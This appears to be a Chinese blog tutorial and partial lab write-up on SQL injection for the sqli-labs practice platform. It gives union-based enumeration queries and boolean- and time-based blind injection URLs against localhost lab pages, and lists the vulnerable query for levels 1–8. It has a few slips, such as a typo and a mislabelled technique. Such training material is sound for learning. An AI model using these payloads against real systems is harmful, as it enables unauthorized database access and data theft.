sql注入进阶

前言

本文涉及的平台是sqli_labs,地址为:https://github.com/Audi-1/sqli-labs
友情链接:详细WP及相关资料请访问刘师傅github博客: https://github.com/Kit4y/Sql-Injection

注入原理

开发者过度相信用户输入,直接或简单处理后将用户输入嵌入至代码语句,导致sql注入。

常用代码语句

回显注入

爆库:

1
select 1,database(); --+

爆表

1
select 1,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = databse_name/0x形式 --+

爆字段

1
select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME = table_name/0x形式 --+

盲注

由于我们看不到字符串的回显,只有对与错两种状态的确定,所以我们要逐位判断它们的ASCII.
常用函数有:
left() : left(a,b)从左侧截取 a 的前 b 位
ascii() : ascii(a)获取 a 的ascii值
substr() : substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度
mid() : mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
ord() : ord()函数同 ascii(),将字符转为 ascii 值
一般方法为:
报错盲注
爆长度
http://127.0.0.1/Less-8/?id=1' and (length(database()))=8 --+
爆每位ASCII

  1. http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))>100 --+
  2. http://127.0.0.1/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100 --+

时间盲注
http://127.0.0.1/Less-9/?id=1' and (if(ascii(substr(database(),1,1))>100,sleep(10),null)) --+

WP

Less-1

sql语句为 SELECT * FROM users WHERE id='$id'

Less-2

sql语句为 SELECT * FROM users WHERE id=($id)

Less-3

sql语句为 SELECT * FROM users WHERE id=('$id')

Less-4

sql语句为 SELECT * FROM users WHERE id=("$id")

Less-5

此题为盲注
sql语句为 SELECT * FROM users WHERE id='$id'

待更新

Less-6

sql语句为 SELECT * FROM users WHERE id=($id)

Less-7

sql语句为 SELECT * FROM users WHERE id=('$id')

Less-8

sql语句为 SELECT * FROM users WHERE id=("$id")